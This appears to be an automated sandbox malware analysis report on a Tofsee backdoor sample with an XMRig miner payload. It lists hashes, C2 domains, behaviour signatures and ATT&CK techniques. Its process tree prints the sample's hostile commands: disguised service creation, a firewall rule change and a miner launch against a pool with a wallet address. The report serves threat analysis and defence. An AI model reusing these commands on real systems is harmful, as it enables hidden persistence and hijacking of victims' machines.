Analysis

  • max time kernel
    146s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2022 04:31

General

  • Target

    6b5ee5602cb0301d703e53c641d838110c049ae5a21295d4f8597dc794b172e0.exe

  • Size

    183KB

  • MD5

    a9e7925167a97ff59857551875890545

  • SHA1

    b96371041a3f82abc88bded8d79a52672070ce8b

  • SHA256

    6b5ee5602cb0301d703e53c641d838110c049ae5a21295d4f8597dc794b172e0

  • SHA512

    60e4281118df51ba56bf7ccec44f19e68c09c699c4eaaaaf803ea4e39ca1959c7719e9f34dc2e97d50a22d9eeac755edbcc24ec04325a44628cea9c67c4d95f4

  • SSDEEP

    3072:/mEMgK6cyCsPbWmQW5lb4OjiUh6f9dhiEZw/oQ3q:pMBsPbWZz6qI

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6b5ee5602cb0301d703e53c641d838110c049ae5a21295d4f8597dc794b172e0.exe
    "C:\Users\Admin\AppData\Local\Temp\6b5ee5602cb0301d703e53c641d838110c049ae5a21295d4f8597dc794b172e0.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fjotivdw\
      2⤵
        PID:4704
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tjcaxgnm.exe" C:\Windows\SysWOW64\fjotivdw\
        2⤵
          PID:2692
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fjotivdw binPath= "C:\Windows\SysWOW64\fjotivdw\tjcaxgnm.exe /d\"C:\Users\Admin\AppData\Local\Temp\6b5ee5602cb0301d703e53c641d838110c049ae5a21295d4f8597dc794b172e0.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fjotivdw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1892
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fjotivdw
          2⤵
          • Launches sc.exe
          PID:2292
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:344
      • C:\Windows\SysWOW64\fjotivdw\tjcaxgnm.exe
        C:\Windows\SysWOW64\fjotivdw\tjcaxgnm.exe /d"C:\Users\Admin\AppData\Local\Temp\6b5ee5602cb0301d703e53c641d838110c049ae5a21295d4f8597dc794b172e0.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:640
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1908
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3428

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      2
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\tjcaxgnm.exe
        Filesize

        14.4MB

        MD5

        78a1b40fd5207bb6d07ae3f50cef8d83

        SHA1

        c957a20aa10037dbf5ece5ad1d24cceeb9c79912

        SHA256

        07234ecb1501eec9b19f6256ba3d08ffc65945539c3343226bf9a195bfd07fa4

        SHA512

        babcdf3d15112c7c9aae5c98e0b3bb8863766e91fa73c76660f46c5825f7447f2102d00e5cb26bc48a88ef1029ab5c64bbfee34c373aed3def4dd0781a74e6fa

      • C:\Windows\SysWOW64\fjotivdw\tjcaxgnm.exe
        Filesize

        14.4MB

        MD5

        78a1b40fd5207bb6d07ae3f50cef8d83

        SHA1

        c957a20aa10037dbf5ece5ad1d24cceeb9c79912

        SHA256

        07234ecb1501eec9b19f6256ba3d08ffc65945539c3343226bf9a195bfd07fa4

        SHA512

        babcdf3d15112c7c9aae5c98e0b3bb8863766e91fa73c76660f46c5825f7447f2102d00e5cb26bc48a88ef1029ab5c64bbfee34c373aed3def4dd0781a74e6fa

      • memory/344-141-0x0000000000000000-mapping.dmp
      • memory/640-150-0x0000000000400000-0x0000000000463000-memory.dmp
        Filesize

        396KB

      • memory/640-148-0x00000000006D9000-0x00000000006E9000-memory.dmp
        Filesize

        64KB

      • memory/816-138-0x0000000000000000-mapping.dmp
      • memory/1892-139-0x0000000000000000-mapping.dmp
      • memory/1908-146-0x0000000000000000-mapping.dmp
      • memory/1908-163-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
        Filesize

        20KB

      • memory/1908-169-0x00000000029D0000-0x00000000029D7000-memory.dmp
        Filesize

        28KB

      • memory/1908-166-0x0000000007440000-0x000000000784B000-memory.dmp
        Filesize

        4.0MB

      • memory/1908-160-0x0000000001BC0000-0x0000000001BD0000-memory.dmp
        Filesize

        64KB

      • memory/1908-157-0x0000000001BB0000-0x0000000001BB6000-memory.dmp
        Filesize

        24KB

      • memory/1908-154-0x0000000002400000-0x000000000260F000-memory.dmp
        Filesize

        2.1MB

      • memory/1908-153-0x0000000000540000-0x0000000000555000-memory.dmp
        Filesize

        84KB

      • memory/1908-147-0x0000000000540000-0x0000000000555000-memory.dmp
        Filesize

        84KB

      • memory/1908-152-0x0000000000540000-0x0000000000555000-memory.dmp
        Filesize

        84KB

      • memory/2292-140-0x0000000000000000-mapping.dmp
      • memory/2692-136-0x0000000000000000-mapping.dmp
      • memory/3428-172-0x0000000000000000-mapping.dmp
      • memory/3428-173-0x0000000000400000-0x00000000004F1000-memory.dmp
        Filesize

        964KB

      • memory/3428-178-0x0000000000400000-0x00000000004F1000-memory.dmp
        Filesize

        964KB

      • memory/4400-133-0x00000000021B0000-0x00000000021C3000-memory.dmp
        Filesize

        76KB

      • memory/4400-134-0x0000000000400000-0x0000000000463000-memory.dmp
        Filesize

        396KB

      • memory/4400-132-0x000000000062D000-0x000000000063D000-memory.dmp
        Filesize

        64KB

      • memory/4400-145-0x0000000000400000-0x0000000000463000-memory.dmp
        Filesize

        396KB

      • memory/4400-143-0x000000000062D000-0x000000000063D000-memory.dmp
        Filesize

        64KB

      • memory/4400-144-0x00000000021B0000-0x00000000021C3000-memory.dmp
        Filesize

        76KB

      • memory/4704-135-0x0000000000000000-mapping.dmp